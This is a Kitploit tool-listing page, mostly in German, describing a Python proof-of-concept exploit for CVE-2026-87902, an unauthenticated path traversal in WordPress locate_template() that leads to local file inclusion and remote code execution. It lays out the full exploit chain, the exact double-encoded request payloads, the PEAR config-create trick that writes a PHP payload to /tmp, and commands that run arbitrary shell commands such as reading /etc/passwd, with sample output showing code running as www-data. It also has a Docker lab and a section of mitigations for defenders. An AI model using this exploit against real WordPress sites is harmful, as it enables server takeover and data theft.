Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-87902 — Python-PoC, das CVE-2026-87902 ausnutzt, einen unauthentifizierten Path Traversal in WordPress locate_template(), der zu LFI und PEAR-basierter RCE führt, mit sicherem Erkennungsmodus. | Kitploit
Tools/GitHubGitHub/crowsec-edtech/cve-2026-87902
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRemote-Access-ToolPayload-EntwicklungLabs & Praxis
GitHub
crowsec-edtech/cve-2026-87902

CVE-2026-87902

Python-PoC, das CVE-2026-87902 ausnutzt, einen unauthentifizierten Path Traversal in WordPress locate_template(), der zu LFI und PEAR-basierter RCE führt, mit sicherem Erkennungsmodus.

Repository anzeigen
2vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-87902 — PoC: nicht authentifizierter Path Traversal bei der Auflösung von page-template in WordPress

Exploit-Datei: exploit_locate_template_rce.py — Python 3.6+ (nur stdlib).

Pipeline in einem einzigen Befehl: sichere Erkennung (LFI-Differential, ohne Schreiben) →, falls verwundbar, RCE über das Gadget pearcmd.php, das den Befehl Ihrer Wahl ausführt (--command/-c). Verwenden Sie --validate-only, um vor der Schreibphase zu stoppen.

Testet CVE-2026-87902 in WordPress-Versionen ohne den Fix des Commits 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2, Backports bis 4.7.37).

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
BetroffenWordPress 4.7.0 – 7.1.1 (alle Branches)
Fix7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix-Commit5fde0bb7b9775523959094bf280cc54bfa78af51 (Merge des Changesets 63792)
Dateienwp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
AuthentifizierungKeine — kein Benutzer, Cookie, Nonce oder Plugin
CreditsEntdeckung und Disclosure: Robert Ressl

⚠️ Nur für autorisierte Tests. Verwenden Sie es in Umgebungen, die Sie kontrollieren (das folgende Lab ist isoliert) oder mit ausdrücklicher Genehmigung des Eigentümers.


1. Die Schwachstelle

In Versionen ohne den Fix stellt die Verkettung get_page_template() → locate_template() → template-loader niemals sicher, dass das ausgewählte Template innerhalb des Themes bleibt.

Vor dem Fix (wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

Nach dem Fix (Commit 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

Exploit-Kette (Repository-Code)

  1. pagename und page_id sind öffentliche Query-Vars — akzeptiert im Body eines anonymen POST. Die POST-Methode lässt redirect_canonical() (canonical.php) früh zurückkehren — es wirkt nur bei GET/HEAD, also wird nichts umgeleitet.
  2. Der Traversal ist doppelt kodiert (templates%252f%252e%252e%252f...) und übersteht das Sanitizing: WP_Query::get_posts() (Z.2191) schreibt den pagename mit sanitize_title_for_query( wp_basename( ... ) ) um — wp_basename() bricht nicht bei %2F (formatting.php Z.5768) und das Sanitizing bewahrt %XX-Oktette (Z.2395).
  3. page_id (Z.2252) überschreibt das WHERE ("$where =", nicht ".=") — die echte Seite wird geladen, kein 404, und der bösartige pagename bleibt im Query-Objekt.
  4. get_page_template() führt ein spätes urldecode() aus und baut page-<traversal>.php ohne validate_file().
  5. locate_template() ruft vor dem Patch nur file_exists() auf → der Include entkommt aus dem Theme.

Voraussetzungen

#VoraussetzungGrund
1Veröffentlichte Seite, anonym zugänglich, über page_id auswählbar und ohne custom templateDie Anfrage muss zu einer Page aufgelöst werden; ein custom template käme früher in der Hierarchie
2Top-Level-Verzeichnis im aktiven Theme (Child oder Parent), das mit page- beginnt (z. B. page-templates/)WP stellt das feste Präfix page- voran; darüber gelangt der Traversal hinein. Es genügt, dass es existiert und traversierbar ist (kann leer sein). Vorhanden in Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3Lokales .php-Ziel existiert und ist lesbarDer Loader hängt .php an und prüft is_file()/is_readable()
4(nur für RCE) pearcmd.php lesbar + register_argc_argv=On + beschreibbares Verzeichnis (z. B. /tmp)PEAR→RCE-Route: config-create schreibt die PHP-Payload auf den Server

2. Was das Skript tut

Stufe 1 — sichere Erkennung (läuft immer zuerst)

Drei anonyme POSTs gegen die veröffentlichte Seite — ohne Schreiben auf die Festplatte:

AnfragepagenameErwartete Antwort (verwundbar)
A — Baseline—200, normaler Body (~23 KB)
B — KontrolleTraversal → nicht existierende Datei200, normaler Body (Fallback page.php)
C — ProbeTraversal → wp-content/index.php ("Silence is golden")200 mit leerem Body

Signatur: C leer + A/B normal ⇒ der Include ist aus dem Theme entkommen ⇒ VERWUNDBAR. Die Erkennung durchsucht automatisch: Kandidaten-Theme-Verzeichnisse (page-templates, page-template) × Tiefen 1–12. Das Ergebnis (theme-dir + depth) speist die RCE-Stufe.

Mit --validate-only stoppt das Skript hier (Exit 0, falls verwundbar).

Stufe 2 — RCE über pearcmd.php (Schreiben)

root@kitploit:~
Stufe 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → der Traversal inkludiert /usr/local/lib/php/pearcmd.php
           → argv kommt aus dem rohen Query-String (register_argc_argv=On)
           → config-create SCHREIBT die Payload nach /tmp/wp-pear-rce.php (12 serialisierte Kopien)

Stufe 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → derselbe Traversal inkludiert die erzeugte Datei → system(<--command>) läuft als www-data

Formatdetails (alle Einschränkungen werden vom Skript behandelt):

  • POST, nicht GET: Der Body trägt page_id + pagename; der Query-String trägt ausschließlich das argv von PEAR (?+config-create+<root>+<out>).
  • Payload ohne jegliches Anführungszeichen: wp_magic_quotes() (load.php Z.1290) wendet add_magic_quotes($_SERVER) an und pearcmd liest das argv aus $_SERVER['argv'] — jedes Anführungszeichen würde zu \' werden und die erzeugte Datei beschädigen. Jeder PHP-String wird zu chr()-Verkettung: '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Byte-exaktes Request-Target (http.client): Die rohen Bytes +, <, > des Query-Strings sind das argv — nichts darf auf dem Weg neu geschrieben/neu kodiert werden.
  • config-create erfordert einen absoluten Root-Pfad — die Payload wird als der Root selbst injiziert (/<php>), präfixiert mit dem Marker ___WP_RCE_OK___, der die Ausgabe abgrenzt.
  • Die RCE probiert Tiefen ab der erkannten (interne Reihenfolge 7, 6, 8, 5, …) und mehrere Pfade zu pearcmd.php (offizielles Docker, Debian/Ubuntu, XAMPP) — bei Bedarf mit --pear-path/--output anpassen.

Es gibt keinen "Upload": Das Ziel der Erkennung ist eine Datei, die jedes WordPress von Werk aus mitbringt (wp-content/index.php); die RCE-Payload wird vom Server selbst über das PEAR-Gadget geschrieben, das als www-data läuft.


3. Verwendung

root@kitploit:~
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Parameter

ParameterDefaultBeschreibung
--url, -u(obligatorisch)Basis-URL von WordPress
--command, -cidAuf dem Ziel ausgeführter Shell-Befehl (ignoriert mit --validate-only)
--validate-onlyoffValidiert nur die Schwachstelle (LFI, stoppt vor RCE/Schreiben)
--page-idauto (REST, Fallback-Probe)ID einer veröffentlichten Seite ohne custom template
--theme-dirversucht page-templates, page-templateTop-Level-Verzeichnis des Themes, das mit page- beginnt
--probe-targetindexZiel der Erkennungs-Probe, ohne .php (index → wp-content/index.php)
--depth0 (durchsucht 1–12)Anzahl der ../-Segmente
--pear-pathversucht interne Listepearcmd.php der RCE-Stufe, ohne .php (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rceBeschreibbares Ziel der PEAR-Payload, ohne .php
--timeout20Timeout pro Anfrage (s)
--insecureoffTLS-Zertifikat nicht prüfen
--verboseoffAusführliche Ausgabe pro Versuch

Erwartete Ausgabe im Lab

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

Exit-Codes: 0 = erfolgreich validiert/RCE · 1 = nicht bestätigt/fehlgeschlagen · 2 = Fehler (z. B. keine veröffentlichte Seite gefunden). Dient als Regressionstest: Bei WordPress ≥ 7.1.2 ist die Probe nie leer und gibt 1 zurück.


4. Lab (Docker)

Verwendetes Lab: docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

Warum jeder Baustein wichtig ist:

  • 7.1.1-php8.3: muss < 7.1.2 und php8.3 sein — unter PHP 8.5 ist register_argc_argv standardmäßig Off in der HTTP-SAPI und PEAR wurde aus der Distribution entfernt, daher funktioniert die RCE-Stufe nicht (die LFI-Erkennung funktioniert).
  • Rolling-Tag = Falle: wordpress:php8.3-apache lädt heute 7.1.2+ (gepatcht) herunter und der Exploit schlägt korrekt fehl.
  • Image-Wechsel macht kein Downgrade: Das Volume wp_data persistiert den Core; ein Tag-Wechsel erfordert docker compose down -v, damit der Entrypoint die Dateien des neuen Images neu kopiert.
  • page-templates/ (Fixture): Standard-Themes (Twenty Twenty-*) haben kein page-*-Verzeichnis — ohne es wird das feste Präfix page- nie aufgelöst und keine Tiefe funktioniert. Alternative zum Bind Mount: command: > mit sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On: Das offizielle Image lädt keine Web-php.ini, daher gilt der kompilierte Default (On in php8.3). Prüfen: docker exec <c> php -i | grep argc.
  • Tiefen im Lab: Die Erkennung trifft bei 3 (page-templates/ → 3×.. → wp-content/); PEAR trifft bei 7 (→ / → /usr/local/lib/php/pearcmd.php).

5. Einschränkungen und Hinweis für Verteidiger

  • Ein negatives Ergebnis ist nicht aussagekräftig (Theme ohne page-*, Seite mit custom template, open_basedir, WAF/Proxy blockiert den Traversal, ungültige page_id).
  • Die leere Probe kann von einer WAF imitiert werden, die 200 leer antwortet — mit Logs bestätigen.
  • Mitigationen: Auf 7.1.2+ aktualisieren (oder Backport des Branch); register_argc_argv=Off für Web-SAPIs; lesbares pearcmd.php in Produktion entfernen; Themes auf Top-Level-page-*-Verzeichnisse prüfen; in Logs auf pagename mit %252f/%252e (doppelt kodiert) alarmieren.
  • PEAR ist nur eine Route von Inclusion→Ausführung; jede lesbare und nützliche .php-Datei kann Ziel des LFI sein (Erkennung über --probe-target).

6. Referenzen

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix (Branch 7.1): Commit 5fde0bb7b9775523959094bf280cc54bfa78af51 — Changeset 63792
  • Write-up und PoC des Entdeckers: https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • Differenzielle Erkennung (Hadrian): https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

Rechtlicher Hinweis

Dieses Material wird ausschließlich für autorisierte Sicherheitsforschung und -tests bereitgestellt. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers ist illegal. Der Exploit wurde ausschließlich in einem isolierten lokalen Labor entwickelt und verifiziert.

Tool herunterladen